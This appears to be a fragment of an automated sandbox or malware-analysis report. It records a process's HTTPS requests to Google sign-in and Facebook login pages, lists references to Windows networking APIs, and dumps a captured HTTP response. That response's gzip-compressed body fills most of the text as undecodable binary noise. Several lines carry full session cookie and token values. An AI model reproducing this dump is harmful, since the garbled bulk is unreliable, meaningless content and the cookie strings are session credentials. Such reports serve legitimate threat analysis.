requests in header "GET /_/bscframe HTTP/1.1Accept: text/html, application/xhtml+xml, */*Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:ZoQgboqgFx5qb7-LB8DqvXD04TF1yw:rNuIoe_3Ldmfgc-n; OTZ=7273007_52_52_123900_48_436380"; in File: "SSL") Found requests in header "POST /v3/signin/_/AccountsSignInUi/data/batchexecute?rpcids=UEkKwb&source-path=%2Fv3%2Fsignin%2Fidentifier&f.sid=6873189608231346881&bl=boq_identityfrontendauthuiserver_20231022.06_p0&hl=en-US&_reqid=66247&rt=c HTTP/1.1Accept: */*X-Same-Domain: 1x-goog-ext-278367001-jspb: ["GlifWebSignIn"]x-goog-ext-391502476-jspb: ["S1309650573:1698666964800301",null,null,"AVQVeyxfFWD4MIwCH5s40VgzuhqPfFH3ai_VcSCPPGgQV8dCZHl7wldSA85t-mZfZJ4ZM2AY6vaOQQ"]Content-Type: application/x-www-form-urlencoded;charset=utf-8Referer: https://accounts.google.com/Accept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: accounts.google.comContent-Length: 165DNT: 1Connection: Keep-AliveCache-Control: no-cacheCookie: __Host-GAPS=1:Onuq7RQSH4Q_g2rmyJ0FIfro2CadbA:NAxxmT9Rle0kKJHK; OTZ=7273007_52_52_123900_48_436380; NID=511=XSQtbiBRCX4jDDkmmqYNuybL0eJk4iffMyYNIk5zrPpUs6FS3gMryD_DnQHxeO2oXo60OTMK0LJToy54ap3V2Dc46oFkQLk1Pjjb3pAF_I3AXySoovODfr7zmRBdqAKwj8U_n6S2iLw-jAtHKwebKw049TmOk7_GgQA-bDyFwYI"; in File: "SSL") Found requests in header "GET /_/bscframe HTTP/1.1Accept: text/html, application/xhtml+xml, */*Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:Onuq7RQSH4Q_g2rmyJ0FIfro2CadbA:NAxxmT9Rle0kKJHK; OTZ=7273007_52_52_123900_48_436380; NID=511=XSQtbiBRCX4jDDkmmqYNuybL0eJk4iffMyYNIk5zrPpUs6FS3gMryD_DnQHxeO2oXo60OTMK0LJToy54ap3V2Dc46oFkQLk1Pjjb3pAF_I3AXySoovODfr7zmRBdqAKwj8U_n6S2iLw-jAtHKwebKw049TmOk7_GgQA-bDyFwYI"; in File: "SSL") Found requests in header "GET /_/bscframe HTTP/1.1Accept: text/html, application/xhtml+xml, */*Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:PNPR8CMVOF5Ha8EAT1C6q83cIU5SFQ:AVGOtyoqTPxhjdrG; OTZ=7273007_52_52_123900_48_436380; NID=511=XSQtbiBRCX4jDDkmmqYNuybL0eJk4iffMyYNIk5zrPpUs6FS3gMryD_DnQHxeO2oXo60OTMK0LJToy54ap3V2Dc46oFkQLk1Pjjb3pAF_I3AXySoovODfr7zmRBdqAKwj8U_n6S2iLw-jAtHKwebKw049TmOk7_GgQA-bDyFwYI"; in File: "SSL") Found requests in header "POST /v3/signin/_/AccountsSignInUi/data/batchexecute?rpcids=UEkKwb&source-path=%2Fv3%2Fsignin%2Fidentifier&f.sid=-1143828988606084438&bl=boq_identityfrontendauthuiserver_20231022.06_p0&hl=en-US&_reqid=67133&rt=c HTTP/1.1Accept: */*X-Same-Domain: 1x-goog-ext-278367001-jspb: ["GlifWebSignIn"]x-goog-ext-391502476-jspb: ["S2047096598:1698666988840256",null,null,"AVQVeyyJJlEraLpNjQcnxeA9l8DtqHEabLzSbXcZ1ml6ekNwVVHKaN0icP27OhJAU3S2NEZW9_E9Bw"]Content-Type: application/x-www-form-urlencoded;charset=utf-8Referer: https://accounts.google.com/Accept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: accounts.google.comContent-Length: 165DNT: 1Connection: Keep-AliveCache-Control: no-cacheCookie: __Host-GAPS=1:PNPR8CMVOF5Ha8EAT1C6q83cIU5SFQ:AVGOtyoqTPxhjdrG; OTZ=7273007_52_52_123900_48_436380; NID=511=XSQtbiBRCX4jDDkmmqYNuybL0eJk4iffMyYNIk5zrPpUs6FS3gMryD_DnQHxeO2oXo60OTMK0LJToy54ap3V2Dc46oFkQLk1Pjjb3pAF_I3AXySoovODfr7zmRBdqAKwj8U_n6S2iLw-jAtHKwebKw049TmOk7_GgQA-bDyFwYI"; in File: "SSL") Found requests in header "GET /v3/signin/_/AccountsSignInUi/gen204/?tmambps=7.46237059931833e-7&rtembps=-1&rttms=2 HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:1tGVyIyNLjP3bskBeF_NM2GAVh0rGQ:A7uIn7IBwM0kN7aN; OTZ=7273007_52_52_123900_48_436380; NID=511=XSQtbiBRCX4jDDkmmqYNuybL0eJk4iffMyYNIk5zrPpUs6FS3gMryD_DnQHxeO2oXo60OTMK0LJToy54ap3V2Dc46oFkQLk1Pjjb3pAF_I3AXySoovODfr7zmRBdqAKwj8U_n6S2iLw-jAtHKwebKw049TmOk7_GgQA-bDyFwYI"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/y8/l/0,cross/js7_npiLBW4.css?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: text/css, */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL")60:T9fd,Found reference to API "WSASend" (Indicator: "WSASend"; Source: "00000000-00001296-00000C26-46623134") Found reference to API "WSARecv" (Indicator: "WSARecv"; Source: "00000000-00001296-00000C26-46660108") Found reference to API "63131447750,2708,3198,,HttpOpenRequestA,Wininet.dll,"254:44:52.250",RX=0,PX=0" (Indicator: "HttpOpenRequest"; Source: "00000000-00001296.00000001.68952.00340000.00000004.mdmp") Found reference to API "HttpOpenRequestA" (Indicator: "HttpOpenRequest"; Source: "00000000-00001296.00000001.68952.00D2C000.00000002.mdmp") Found reference to API "InternetOpenUrlA" (Indicator: "InternetOpen"; Source: "00000000-00001296.00000001.68952.00D2C000.00000002.mdmp") Found reference to API "InternetOpenW" (Indicator: "InternetOpen"; Source: "00000000-00001296.00000001.68952.00D2C000.00000002.mdmp") Found reference to API "InternetOpenA" (Indicator: "InternetOpen"; Source: "00000000-00001296.00000001.68952.00D2C000.00000002.mdmp") Found reference to API "HttpSendRequestA" (Indicator: "HttpSendRequest"; Source: "00000000-00001296.00000001.68952.00D2C000.00000002.mdmp") Found reference to API "InternetConnectA" (Indicator: "InternetConnect"; Source: "00000000-00001296.00000001.68952.00D2C000.00000002.mdmp") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; Source: "00000000-00001296.00000001.68952.00D2C000.00000002.mdmp") Found reference to API "112745759156,2708,3198,,HttpOpenRequestA,Wininet.dll,"256:47:49.609",RX=0,PX=0" (Indicator: "HttpOpenRequest"; Source: "00000000-00001296.00000002.70870.00340000.00000004.mdmp") Found reference to API "HttpOpenRequestA" (Indicator: "HttpOpenRequest"; Source: "00000000-00002472.00000000.68684.00D2C000.00000002.mdmp") Found reference to API "InternetOpenUrlA" (Indicator: "InternetOpen"; Source: "00000000-00002472.00000000.68684.00D2C000.00000002.mdmp") Found reference to API "InternetOpenW" (Indicator: "InternetOpen"; Source: "00000000-00002472.00000000.68684.00D2C000.00000002.mdmp") Found reference to API "InternetOpenA" (Indicator: "InternetOpen"; Source: "00000000-00002472.00000000.68684.00D2C000.00000002.mdmp") Found reference to API "HttpSendRequestA" (Indicator: "HttpSendRequest"; Source: "00000000-00002472.00000000.68684.00D2C000.00000002.mdmp") Found reference to API "InternetConnectA" (Indicator: "InternetConnect"; Source: "00000000-00002472.00000000.68684.00D2C000.00000002.mdmp") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; Source: "00000000-00002472.00000000.68684.00D2C000.00000002.mdmp")61:T941d,"GET /login HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: www.facebook.comConnection: Keep-AliveAccept-Language: en-US" "HTTP/1.1 200 OKVary: Accept-EncodingContent-Encoding: gzipp3p: CP="Facebook has no P3P policy fb.me/p3p"Set-Cookie: fr=0ozbQazH9UTqqwt9V..BlP5nT.bq.AAA.0.0.BlP5nT.AWWyoQaHmpE; expires=Sun, 28-Jan-2024 11:56:03 GMT; Max-Age=7776000; path=/; domain=.facebook.com; secure; httponlySet-Cookie: sb=05k_ZVYfEDgJQuQlVIHl_mRq; expires=Tue, 03-Dec-2024 11:56:03 GMT; Max-Age=34560000; path=/; domain=.facebook.com; secure; httponlyreporting-endpoints: default="https://www.facebook.com/ajax/browser_error_reports/?device_level=unknown"report-to: {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}content-security-policy: default-src data: blob: 'self' https://*.fbsbx.com 'unsafe-inline' *.facebook.com *.fbcdn.net 'unsafe-eval';script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.google.com 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net 'unsafe-eval';style-src fonts.googleapis.com *.fbcdn.net data: *.facebook.com 'unsafe-inline';connect-src *.facebook.com facebook.com *.fbcdn.net *.facebook.net wss://*.facebook.com:* wss://*.whatsapp.com:* wss://*.fbcdn.net attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self' http://localhost:3103 wss://gateway.facebook.com wss://edge-chat.facebook.com wss://snaptu-d.facebook.com wss://kaios-d.facebook.com/ v.whatsapp.net *.fbsbx.com *.fb.com;font-src data: *.gstatic.com *.facebook.com *.fbcdn.net *.fbsbx.com;img" "-src *.fbcdn.net *.facebook.com data: https://*.fbsbx.com *.tenor.co media.tenor.com facebook.com *.cdninstagram.com fbsbx.com fbcdn.net *.giphy.com connect.facebook.net *.carriersignal.info blob: android-webview-video-poster: googleads.g.doubleclick.net www.googleadservices.com *.whatsapp.net *.fb.com *.oculuscdn.com;media-src *.cdninstagram.com blob: *.fbcdn.net *.fbsbx.com www.facebook.com *.facebook.com https://*.giphy.com data:;frame-src *.doubleclick.net *.google.com *.facebook.com www.googleadservices.com *.fbsbx.com fbsbx.com data: www.instagram.com *.fbcdn.net https://paywithmybank.com https://sandbox.paywithmybank.com;worker-src blob: *.facebook.com data:;block-all-mixed-content;upgrade-insecure-requests;document-policy: force-load-at-toppermissions-policy: accelerometer=(), ambient-light-sensor=(), bluetooth=(), camera=(self), geolocation=(self), gyroscope=(), hid=(), idle-detection=(), magnetometer=(), microphone=(self), midi=(), payment=(), publickey-credentials-get=(self), screen-wake-lock=(), serial=(), usb=()cross-origin-resource-policy: same-origincross-origin-opener-policy: unsafe-nonePragma: no-cacheCache-Control: private, no-cache, no-store, must-revalidateExpires: Sat, 01 Jan 2000 00:00:00 GMTX-Content-Type-Options: nosniffX-XSS-Protection: 0X-Frame-Options: DENYStrict-Transport-Security: max-age=15552000; preloadContent-Type: text/html; charset="utf-8"X-FB-Debug: nDtlya4a0o64ujzCa8VwOHIt91Tj4diLg/4wV4kn2gO7eHp0K4yJlKhx7iVfLuhHv4" "Ax4+BDBM0+zT85kOm9nA==Date: Mon, 30 Oct 2023 11:56:03 GMTAlt-Svc: h3=":443"; ma=86400Transfer-Encoding: chunkedConnection: keep-alive12b3��[o#͒ �>��Ss��~��V�]�(�")QR��"S,V��xQ��~2�~Y�i�{��6�}0x��yX��Fd֍5[-}ߋ��̊��Nepۭ�&��W��_�@��D¦#ډ�#�(�J1�@�}"�Ty�%h��;(�N��s"��~X�b��D3|"1�c�0�b*5l:'��u��@M��Q��'[e�rb&5U|"�n��٪\�>뮩:��1l��kO>��oA��Nه9b15F�:}Q��/��15�8b��%��_��9��G��9?��ߞ�H��s@�7ɵ??��¶t�#��q��(s:��N�)K��8To�ܸ_k��í*�%�gt��F�a��R��Ð��̈#��q�!3lD�eW�1�',g��d\�'t�s�A��hX�f@�� (Dgh��2_�wӳ�$v-&��.%�]��%��{��㧄×��?n�cH��1�Zج"��v\f~5�҅�lW:�vs�QJ��Tz�R�u��k��2��E|W��7"�z��7g��"f�E��e��G��gB쵾;+ow�S�W��E�֮�$�eR��ZǱAp�|�1lO"�+�1v�k�$:&毊>R��Od>��LE�eA?�$��=��/9��"�]�81��CcS��k�ę�tF��߇j;�9.3"`�C�`��h��DN��'��'�I>��>٠�|�I/쏈¡��I�W{zb��c;vYV��.�m�-��pμ7om�Mg+��A+Z�Һ�-�:�FO|��7��^�B�q"a;�!��ry��T�<2��`6S��Y�%�m:n��6Y?��~lj��7�Q�X��A�i�a�D�!��VR�Y��J��>�b��)�!%��)�2j۔�11O`�9Tְ�d��xO��ǈ��`.~J�vk�а��ҷ^�i�'e̞ F�q��7��#��+�2��c:�c�--L-C��Ԥ��f��D��c�8X٫��^Y��/�#ߐ9R�L��@TEF%6��Ƹ�Ȥ&Q��Q%x$TV�x��j�`�I�w&7�*yH=��,|"9x�$Tۖ��Wa�/&�D2�e-��y��-��b��Zc�=�b ��#J�"��''R��r��P�W�=�C�\j��r쾎̊ک��!�72u뢲��9ͼ��jmd��oHf!B惝WL��W��", "�ӗ�!�$B�:5M�Z�#��.�]��#2�2��Dk��3H��[-}]J8�!��N2S[=��udf��q~��FȔ��U�M&�ב�,?ȭ"�e��o~�L}$��\OL��O�Y�]lJ�`�Tm5Yߦ�"��}ׂ�$lR��`�2;�6;� S3��o�jX��7I.�r&?�t,�%[:��R�PHo�9S��yI�P��~IRl#��9.��KM.�+��a��)�ұ��s\�'��@��V��˧��͒�t6�� &�r�tf?�B6�-��o��qȚ��PQ�|�|�q}dd��eo� C�K}�昝��#��>��ppJ��ubb��XdK��Vr ]=��5Bi��*�:Fu�M.ڏ�s\��_�_��~��:{/O�a`z�(6v��/�E��[��R�tz�z��?U��R�r*ťa�w�m�*5��w[�[eP�(��f�֮Ԕ^��W�f��+��usPP��k�j=��ԛ�Z�i�W�B�`(�nW)��F�VU��^_i׆J��|��ի_��~��T�*�R�Z�׿��R��K�N�RS�A�T)w:�A��T:�N��(��SJվR��J�f�-�%��Rm^��f��W�΅�Z�)Ͷr�muJU�ڄ>�4��׷J�׹�*�[�v�=��f�{rڥP��Q��栯\��f��Tk�^��ؽR}��ڥr��oە�i�ݹRJ��]j5��Z��+j�E��/5�+��E�2h^7�J�Ԩ)�Z�/ťV��k΢+p1�j�>P��T�k��#�*��V�W�r�m��N�B��*W��h_�(5[��M�n¸�V�^�1��ًZ�QS�NK��۫rZ��+�Nf�կ�֪W|�CkݪҼ�*0��u�7h�k=��,��tڃ^��P�Ni�˝��*W]e��*��u��y��J�y#ťZ��EM��ҹnV�R.��ڠ[R�=>��~�`K�ӹ�+��}��A��;J��\W�F�U��>ǥ)]S:�ݚ��R�]RqmU<��R\��;�'j�n΀��C:׿~�w�xj��w�L_e��1U�ARӫ��E�6߶��$S�9O>��@��ƹKH��o��P�K)m��3o-p��c��k�"�%4;?e*��[�U��|��{Y{6f��T��M�)$R��`R64��ҩ�2z+��k7�'yRl�E:�r�~7Ou��R��XO[96@.++"۵J��n��6��o�G�i�Ԃ��}N��j@n��颰��>?�S�B��I��P�tJp��66oY��/*".p��hy�E��%�n6�'�5��.DM�f��~�gҩ�_Cܬ��zmm'6�Bͤc�~Y��&�~�trrT��.�TKc8{�7�w�)x�S�B��y�N��P/Uk�?��A0�08�=��-��", "f3�!b%��;(��\��効tF��|G��G�N�)�&�b�(�ȶ�;�[=ǳ�LH��g�t��0K4�a�0�:ұ�\�t��e�S�L'n{r�S�m{��D��L��%Ȕ:��Ԣ��D`��v��v.]�V]�#�a9d��o�qI�3DL��ϥ��\5�ty͂��Y��x.��a�)i%U��x��RU)U*��@iV�c)o�X��}�u\��PV�v��/�d2�M&��҈2��Τ��z��l\��M��Z!Dp�:�qN�ד��w��X�cO#��:Tכ��q*�K�%�N9�:e%�a��@�SM9F��3d�0(��ճ��H�/Tz}M>�ө"�~��ߠ�"85��k�.�:YJ�R�U��S��.5�:Ft��9��O3��6��&ApLΦ��qI�,��8�q!��E��%3^��E%�o�r{w9̦�r��q�L1ؙ,^j�%6��|ŏ�9e1lcn��V�l1%`�:rE�&lN��<�\Ȉ��(��0u4�J��׃�!��G��^#�!��d&2=+t6sM⬶��sؔ�v�Ի�l�j��z�R+w:�X_[`�`k��v��S:��-�'D��5n.��ju��i�o�U)�ZJ��x�9?�R؋k5��lLes��$�Y0͢\�v.JM��T�Yu�ol�r��/�%�4o��W}��į�ۘ�Ag ��+q�8�f��\�I1�-�rŸ��J9��&Ȅ��Ś 6��XQ鄂M ��Z�t�H��`�ƶ(��\.y69J%��G u��c?�@\q��=G�}�~��,��P��by�]T��BM� H*'��0ǈ>�`MD��j@�"XV>GY 6Ú�Z�$��T1��l&�N��t��3�L(��U��J�Jqid(`:��ܞKa�22|�ÉS�9��qi12��f�+��Ɗ�&�X�0.��ELEx��JGұ�0לJAњm��Ă��R��Q*u�΂��\Q�-F�)*#k$7�E��Xz@Ob�qi��I��hzuĤ �L�mAg6o^Q�J�㒆�D�^�+b�`�bsLL�x�O�␆��rt�f�H��W�W8��m�'��83�~�NLj!6=b.8wt��X�u��l��\�a��.��IF��Пيo��ꁎ��t!�Ec�G/9��\��Ⴂ��gy�c�vS�(O{ =�3��'�3��B�3��M��W�ք��uXS��yh�d��V��c��6��V��Z��`�#&2V]��ۛu��oՏ�U�hD��ͯ�+N�<�{�L��6�C��<{�7�M��vg#� �˨��J��Y��P�A��l��'��V��r׆��'�c��N`��^�0 �hVz@K��h�]��Q��F��4��n��1�xc�%Gi5�5�9^kt�;�&�5=��x�w�~�P��X��(�׿��_��R*j�8��߄3�S6C�3L%3d�1�>�G�y�*��A1�J�ı�&Ե��ّW3A-�ʑ^r��l��Ux��U:��KhD]�>a12G��b��PUP��L��6�9t<6�}b�p�Pk��jl�@��T�%.f;ܕԀҹO��ׂh$�n��w�QYO�Ã�ht�0lS��ؾOx%��a[A��(ю�+�zk;o�'.��ڲ��8�>�W��x�Sr�IBf�z�E�x�Ǘx"�>��Jՠ��(z��A�di��L+[�w�~��>�lD�̰Y�I��c��0zw��%��K�h�铇�>��*w��1��F3��K.��_C8��LQ��Bdl��QCl�<Ӆ��z��j��hdҐ�ٌρ߸�! �^��&�;u(��I'[�J�c��\:љ�q`dp�ũY��ɞ�'jP�=kl�D�g=�]?�k��_�6w\��+�[G�:A�Le�C��]�Ɔq�xi��j/҆t�δɚ��n.�", "3x^7��`g}��8e^B=!��&Rr2-'��l.��-�� bj��ѧ��SB#s�/0�`l��d�A��/��"��V�udn�S��P�q[B'˘Y��%��e s�fcJ:i�6*��9�HD�\�_��Kd��z"��X�!c??�R1E^�N~bJ6�0ߠr9uEOa�c�ղ>�0�嘒M��>��8��~`��pE^�^س�8�ŀ}��^��D�N��C��g��yU�� $=��f�Gc1?�=6�΄�9C�jƨ)�<'��i��"�M��!C~Zql��H)9�JJ1pU��HG��2��W��8�M,eD��E.pFp��Fln�',��寥��< �``��'A�3��S�K8O�GQ�#��ҟN�&�r;|�Ѣ�박��|��L��<�w9B��Y��\JI�^��p�$᫲�r׭h/�ȥl>��iE4Q��l&��)�(g>��x��W@IL�f��<�ӑ��&҇CdR�A#�+?��R�6��ىT�1�bք�8&rg"\��р�h�*��C��x� �ZHv2��X_x�E׹e!�^P��Ǌ�E6�}��0��e~u�k ��CҢ�__�h��P�ӊV�>��V��u�i'm�Bh�u�VĸI��'\ā�md��@J�a�'�oȇ��Ŕ�l��)��?��[c�]��V��xo�>�3�Wn2!�HG��D��<�7�,!>�wp�W��#P3@-�a��:ec�ļ ��Fi��ݴ}d��ϔ�h�x�G냿��r�aa~j��Q��u��lO�և3ފ|�?��\a9��R�;6�W��=�Qx�*�~�+r��M~��ƛE��}6ipw׽~��]5��=A��Z>��˽�N��ݸv��,F��\�f��_��]S`k�n*��ǔ��M�XdƸN)l��)i��ߢJѣu@��_��k�(", "\�"�s�ϧ=e�HIY@�xS2SSr��ߤ�8|4;��f�bOb��ᅟP�'{��8L6�+��O�q�(��c��O�.u>�'��!�-�l�O{��k�m�U?�1��믵�0��/��|G��P��Ƀ�1�l.M�?+�D�[�$�D�\�-��B;��O:;��o�'�)��+��M��$�ȧ:�'�uُ�g��;(�)�=MU�7��D��_��m:^ǹԋ��ç��>�ñ�H��_�W��_��D��Rz��m��:�_d`��Q��o��g�i��o�,�Qʯa�6�cV�Efu)sܱ˥��1��^�?�{��Y��>��7`q��ۦ�u�˾Ⱦ��L��p�[�ٔ*��m:^ǧ܋|:��_�?��S|��>iX��^��m:^ǧ��|j`6>U��䧸4!��X"'Di�f�ܦ�u\*�ȥSbjD��O��/�o��_��:|�~~= ��~m��:~_��a�S��Y9O�߉�V�Z�O��|�A�Չ��GWc�q��W�ł��S�?��۽�c�.��>��H�Mh��S��h��h��P|�k1+��s�A@ߕY��k��^�+p��Oyt��+�c.Շ��J��F�N�ʧj׺U��y*^��+K��́��gY齾��55��YDU�a��9�UL� RPD��G�)!>ġl��l�Ҥ@y�a�`��G�g��s�HU��"�)�+6��5e$�.��1]�J,R��9�|�" "၈U8�#��u/P�}��}ոN�/��j��Y��J�{�<+�k�b�0�T��T"�imu�c]�~��4:46C&��a�7`y�7�=��vB#��kK�%��|�?v��C�<ū��a�q�#��1?��/�N\�S�=�Q��s]�%��L��v�-��X�A�&��)D;�$S�L>�)ʅ�4�܋��?^̏�R��x=+i<=��pxa?��@+��Py�į��U6`;��P��v�.^��G�k�!��_cPc� /Д��b�7�b�(��h�m:��8��Z�"`��h>��W6Ma=x�\��Έ��l�dw��oy�d6W��L1�N�Rr~'�%�FSк �ZL��V�� Hm��`�"��s�|t��f=��#��7�zx�w��^\��O�a�<�ʁ��T2�L%�B6��x6��Į,�#�ńO�X��p�kS�p�{o�MB"=��xQp(��F=B#D�M-�5��nT��|�?��<�92�)qV�z+��rȾPj)3l��Dr��v1p@|.E�B��.~+N;�1�Z+��5��x"�0��K%S�]��/��/��]�x�`4�۱�'�Gc��RGY)&.ly��k��^��ql�:�Po&��j��l��}Z��2�B>�J��~�h�� >��'�}5�=}�u~�#��+��\̵~�V��+��EU��ދ�R��;m�y�>��)�|�M&��}�M>��FN�y9��:�l6SH�o�O2�=H�:/K�P}��.��ev�S��i�&�" "1af4��M8�(�G}~�K >ȂJJ�p5�?y˱��\��H�O�+��({ӟ��%.].Z��{��|�>�h�z�ɕ9.��7�r܅Ŵ�m��b�w��/�>�ބ��J��6q��}��r'�rO��)��J�ϟ7�0�ZΖ��.��Od�͋�@�r�V5WP;��V�!'W�\��÷��S��k�8y�؇��4�f�e��Y"��\��>�E�j��7�&��{��dtwsV9o��}t ��f:��/y׹�M��ey�E�[��;�q˝��7��n�ܩ��S��ߊ��q�IJ�7��|�~v�L�{�[ȝ�@�w�Iy��F��'�r�&�$��cQ�k?��<�#�xA�6x3��3�g/�[<��Ý�^W��{�n�8�Lu\i-�>ܩ��K{�.o*��)��^v!��{�E�͞�7CE�]��K{v��a��!��2��|�Xԉ��Μ�_�88��֯&�}��|j�h��gV�r��b��a��pW��L��=pW9�La��+��wi2��ٻ7s��4��4�}��~��ݠқq��N��]��F�Z��a�̈́�'V7��eVF�3d�5� j��7�&��pe�u��^�ӳ�>:�yU�-�]��v@�0J�(e*�n�$��I�?��7�q�Xu�X8ŉ�l�V��W�h�^V߾�K/\�X״~�j�}�/OG�TS�b��CZ�Sս�^��T\Y�V�_]��֥��uf4��Z�:|l��,�q�Z�R�An��^=x~�d-Z��7�C/�^k0��^;��l��|ܧw�x[i_i��=��N���q�4��Yqz��^�FU��7�]~]쌫˻��`�po�إ9�Jr7ԛX@�+�|��5��]�P��c�S��|'np|f�(�Ӓ��a�7/�)9j��\��cz�D��YA��KV;;�Qe��d��X��|�Qw��۽dȋ'�윾d�6�j�[�9/��{ɸ�]��<�%�y2V�d��U�A��^2.�voz�}�o��ꁫ��|yyN�찕�'��VE�Y�7i�̏dt~�R�q��̦�:d�ۮ��ʹo��>��8V��x�jN�qn:��ۙp�X=r��S�4��ۇ��t3:��ވ��P_72��+�Ԫ��"��.f�L��jzQ�[�zg�w2��X��@\9�~[�Ƣ��ҕڸ��U��'�ƛq�A��e�_&�b�)�ӽ��C2��o�#�7�mt��]{�_��y��vw�͒�ý+ �e�T�Ĩ3��Jc��i{��o0+��~�!�}:]��՝��q?*��짦{3�N�YCwߞ!�Y�#�_J77{��&��p��q��ۗO��ը��b��{�s�3��,��+yn��12��ږ9n�f��K�s=��qj/��5"B�.IU��Å��J��z�*�0nΔ�ld��݅[��Q�.j\��k�p��}B��1u��(�\&�L��G�=Jէw7g�U��ލC�N/s��W�bk�b�)�i/F�z�3;�G�6kGmWZ��jU��X��Y��U8{_|��%�t"��!�� G��ҭ��.�'�F?=�3��\�TQ;��}��9��G}c��"��+k�N��X?�9��K��#(��/��h?�6z7�L��p��Q�Cr��F�B��T��_�3r��8E��}�~6��ǳ��dDz0�׽��Pv#��r�{xC��p�:/s��Fg��D��\�RUm]��H?��/e5L �N��a�g$�2��g\��#w�&G��U��34�j�!u�o!b�8G��,��9��Q�6��'w�/�7�� &{^~b�-��sa2D;�V��J��r��K��", "��f��9[a�TT��5��v�a�ӻt��7aL��f��9��0_!�1��0��6=±'�Ω�f��.[A�4\�f~81�!��$��[��ǚ��O�#!a0"�Me�=��7��?t��\��_&F��=S&�(��B(��w��2廑N�B��ህ*�p�#��N��d��%��z�<@��b�<�Y�}�{��wD�@0쾫8�֮�>Z_�Txcm�D��mӪ88��s)�7;��*�zx��Ce��B�3]v�B-N�pB�?/��8��|T�x��j��[?��Q{��-و�rt~\��m��*v1l1��ĂCS��׈.�c$a�"�禣��V�ͷ��η��7}8�K�l��n(��w�W��6٥C"�؏)��/��6��9�É�S��N_xFԢ�Ѧ�EE��T��?��]�"d��~�Im�>ߥ��U8��zh�eu��ѥK�i�Z���Z�Y^)�m?��[��pK�x��#�6�n�D{�B�y�.��F�3)#��N-�8C��E��<�,��z��j�K��~�?"&��Qw��Qr��t�j�_�j:ph@��Q{;�D�w�G��߭.C��}Y�b�>��=q�d��~g��Kp&fg��:A��_{�m�X�>��z��>��N։)�̆��:X#͋�l�PT��;��m�뵊8�|��e�qI\ۋ��ZRF��dRq��>R��R�X"��C��0��gI�A��;g�7��d�^b&_^��֠xwvٯ��n�F�m]�)��d.'�4U��[��`釶�t�׍�&n��䈹7�Z#g�sSk�q�j��7�K�X2�Ϊ�s3{�xQ�w�g�I��x\�a��`�wj�hyU��ԑ�R1�Z�j�O��p6��g��z��/�5��?<�Ϯ�J�a)V�A)7.��i�pX��Fy2��l��m��\˕��F��;��P��TqE;�׸�ͫW�6�tR�?$ӮY�PX��O��r��h6U�Bp��%�p�T��͵�°��T��K2}��l2he+Є��jµ�^5 �o��M3��O�W�Yf�;胗��y�Xy�}�G�ƥ�F��3bx>��D`m'�C�.��.�T4qM��p~�2��5�@��v�Qwd`��`��4��*[qK��e�!^"��f�p��9>�W�W��#�h3'x�gl��t�f�Ҹ��#��Jgkt��#��KQ$�?�#b`Eܾ��9��@l:Э/��TP�Pг�<�7�W��e��~�]R��i���S��s�5+�5��4�PW`w�c�ō��T��b&�[��]�", "i'+9X��z�|r$��\�l��ï*}�ie��2ї�e�1�n�5�k�2Y-�e5��]��M>Fީ�Cʦ��iɄu��oԀ5��W@2ģ.z�K��~�3H��#��/��/5k]b�X�G(8.n@�L��f��+?^uy\�^K�G�EMY�(B��ϗ�.�4�aǃ}3�#��Ȟ1.s�P@zZ��R�&K�|x6v.�-c��]M/�*�:?K�W�G'n��]"=s��b��LPp�%��u�+,��A��k��7IQ@��B�p�W#��mb��=a�nT��q��q��65��Sve��O��Q��)b�1\�|o�e��H�rkeB��ƎkU��ގ/x%��:��.��A�k��1ª��ͪ��q9W �r�b.��f�̰��ۀ��H�v�.R�B�M��o+��6��W��6A<ǹ��d��s�?��ܑAT� a��q6�䌞IGYN��YT̎t=�K��հ>�ʨ��y��*�t�$xՄ쇔� ��N��Jy�rf��=�A�sIh��G8�;��M��2��w�<'I�qϺ��pc��~��ܥT��2��U`��f�X:��]��UCD|�ِ0��"mWxK�W��m�~��m��j��Ct�++�`�[�� V��:@��1��%��pUX�`cSN�&��l��lM��{Å|�@Յ�F�J��k��"�\��ڥ`0��:{y��'�wG�[]^��[g�:��m�5��\�%nF��c�ڃo�� 